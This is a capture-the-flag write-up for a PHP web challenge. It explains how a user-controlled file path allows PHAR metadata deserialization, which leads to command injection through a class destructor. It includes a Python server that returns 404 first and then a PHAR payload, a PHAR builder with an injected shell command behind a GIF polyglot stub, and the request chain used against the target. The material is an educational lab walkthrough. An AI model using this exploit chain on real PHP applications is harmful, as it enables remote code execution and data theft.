This is a writeup for one of the harder web challenges I have done. The name is Pharry. The only thing thye provide us is with the index.php and the flag.txt and the hint of the challenge is:

PHP7 was soo cooked...

That hints us towards some vulenrabilty of php7 that would help us solve the challanage, here is what the .php file contains

```
┌──(kali㉿kali)-[~/pharry/pharry]
└─$ cat index.php
<?php
class User {
    public $avatar_path;
    public $name;
    // who cares
    public $password;
    function __construct($name, $password) {
        $this→name = $name;
        $this→password = $password;
        $this→avatar_path = "avatars/".$name.".png";
        //todo fill the avatar with something meaningful
        system("touch ".$this→avatar_path);
    }
    function __destruct() {
        system("rm ".$this→avatar_path);
    }
}


$file = $_GET['path'];
$res = md5_file($file);
if ($res == FALSE){
    file_put_contents("/tmp/remote_file.jpg",file_get_contents($file));
    // everything is a image if you look at it long enough
    $res = md5_file("/tmp/remote_file.jpg");
}
if ($res == 0×deadbeef){
    echo "Congratulations! Here is not your flag: ".file_get_contents("flag.txt");
} else{
    echo $res;
}
?>
```

The code is not larget but there is a lot to go though. First we see a class User being created with some variables, I would say the most important thing here is the constcutor and destrcutor, we see that we have two system executes that have values we control, so that is potentially rce, however the class isn't initialized or destoryed anywhere later so we will have to find a way to do that.

The next part of the code gets the content of the variable path when we put in the URL like: /index.php?path=file.txt

And then it converts it a MD% format and checks if the file actaully exists, it also works with remote files
If it doesn't exist then the contents of the path are put in /tmp/remote_file.jpg
And is hashed again, after that we see some weak comparison between $res and the hex
And if they are the same value we get the glag.
However I quicl;y checked what is in flag.txt just by searching it in the directory and looks like this is some kind of bait, the hint is also a bait since it is trying to tell us that this runs on php7 and on php7 weak comparisons have some issues when converting from hash to int for exmaple, however that does not matter.

So the system execution is our most important bet however we need a way to inialize the class or activate a part of it.

After some digging I found that **file_get_contents()** does not only read normal filesystem paths. In PHP, many file functions support stream wrappers, so the value passed as a "file path" can also be something like **php://, data://, http://, or phar://.**

This is important because in this challenge we have a user-controlled path:
md5_file($file);

file_get_contents($file);

For his challenge phar:// is important as like the name of the challenge suggests.

Since PHP 7 supports PHAR metadata deserialization when a PHAR archive is accessed through the phar:// wrapper, I could make the application open a crafted PHAR file by using a path like:

phar:///tmp/remote_file.jpg/test.txt

If we are able to upload the PAHR archive we would be able to initialize the class which will destruct giving us system, and since we can alter the name variable we
can do something like
rm x; ls –la > out.txt #
and read the output inside the file

But we will have to find a way to upload the PHAR on the server
This is where this part comes in:

```php
$file = $_GET['path'];
$res = md5_file($file);
if ($res == FALSE){
    file_put_contents("/tmp/remote_file.jpg",file_get_contents($file));
    // everything is a image if you look at it long enough
    $res = md5_file("/tmp/remote_file.jpg");
}
```

For the true block to run, $file should not be able to find the file existsing. After that the $file gets written into /tmp/remote_file.jpg

So if we find a way to make the first check true so it can write $files in image we can then deserialize The issue is even if we pass the not get check then what will be saved in the .jpg file would be nothing.

To bypass this we can run a python code with a custom web server from which the PHAR archive will be taken from. The web sever will be made so that the first request returns 404 to the server so that the statement gets true, and after that it will make another request at **file_get_contents($file);**

This time it will accept and return 200 with the phar so it can be saved inside /tmp/remote_file.jpg Afer that we can start the desiralization with:

phar:///tmp/remote_file.jpg/test.txt

Here is the web server code:

```
[root@cloud-7e244a html]# cat server.py
from http.server import HTTPServer, BaseHTTPRequestHandler

counter = 0

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        global counter

        if self.path != "/evil.jpg":
            self.send_response(404)
            self.end_headers()
            return

        counter += 1

        if counter == 1:
            print("[+] First request: 404", flush=True)
            self.send_response(404)
            self.end_headers()
            self.wfile.write(b"not found")
            return

        print("[+] Second request: evil.jpg", flush=True)
        data = open("evil.jpg", "rb").read()

        self.send_response(200)
        self.send_header("Content-Type", "image/jpeg")
        self.send_header("Content-Length", str(len(data)))
        self.end_headers()
        self.wfile.write(data)

print("[+] Listening on 0.0.0.0:80", flush=True)
HTTPServer(("0.0.0.0", 80), Handler).serve_forever()
```

And here is the PHAR archive:

```php
<?php

class User {
    public $avatar_path;
    public $name;
    public $password;
}

@unlink("evil.phar");

$phar = new Phar("evil.phar");
$phar->startBuffering();

$phar->addFromString("test.txt", "test");

$u = new User();
$u->name = "test";
$u->password = "test";

// First payload: prove RCE
$u->avatar_path = "x; cat /flag > /var/www/html/out.txt 2>&1 #";

$phar->setMetadata($u);

$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");

$phar->stopBuffering();

rename("evil.phar", "evil.jpg");
```

We know that the web root is from /var/www/html/
due to some PHP warning disaplyed on the fron page

The flag I had to search it with other payloads
Here is what the chain is
We start the web server with the PHAR ready

Then we request it
http://<ctf-ip>/index.php?path= http://<my-ip>/evil.jpg

```
[root@cloud-7e244a html]# python3 server.py
[+] Listening on 0.0.0.0:80
[+] First request: 404
[redacted] - - [07/Jun/2026 06:50:13] "GET /evil.jpg HTTP/1.1" 404 -
[redacted] - - [07/Jun/2026 06:50:13] "GET /favicon.ico HTTP/1.1" 404 -
[+] Second request: evil.jpg
[redacted] - - [07/Jun/2026 06:50:21] "GET /evil.jpg HTTP/1.1" 200 -
```

First request if 404 then the second one is 200

After that we can can check if /tmp/remote_file.jpg has saved our data since it prints out the hash of the file

And we can run the phar with

http://<ctf-ip>/index.php?path= phar:///tmp/remote_file.jpg/test.txt